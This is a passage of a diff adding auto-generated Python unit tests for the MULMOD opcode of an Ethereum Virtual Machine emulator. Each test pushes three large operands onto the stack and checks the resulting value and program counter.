+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [97433442488726861213578988847752201310395502592L])
+
+    def test_MULMOD_298(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [992L])
+
+    def test_MULMOD_299(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_300(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MULMOD_301(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_302(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [512L])
+
+    def test_MULMOD_303(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [512L])
+
+    def test_MULMOD_304(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1024L])
+
+    def test_MULMOD_305(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1536L])
+
+    def test_MULMOD_306(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [194866884977453722427157977695504402620791005184L])
+
+    def test_MULMOD_307(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1488L])
+
+    def test_MULMOD_308(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_309(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_MULMOD_310(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_311(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [768L])
+
+    def test_MULMOD_312(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [768L])
+
+    def test_MULMOD_313(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1536L])
+
+    def test_MULMOD_314(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2304L])
+
+    def test_MULMOD_315(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [292300327466180583640736966543256603931186507776L])
+
+    def test_MULMOD_316(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [188777294821908293601309290892519890038891286272L])
+
+    def test_MULMOD_317(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_318(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_MULMOD_319(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_320(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [97433442488726861213578988847752201310395502592L])
+
+    def test_MULMOD_321(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [97433442488726861213578988847752201310395502592L])
+
+    def test_MULMOD_322(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [194866884977453722427157977695504402620791005184L])
+
+    def test_MULMOD_323(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [292300327466180583640736966543256603931186507776L])
+
+    def test_MULMOD_324(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [50691203510558423329874408992484403871788909316369233969954014551082056186288L])
+
+    def test_MULMOD_325(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [231361L])
+
+    def test_MULMOD_326(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_327(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
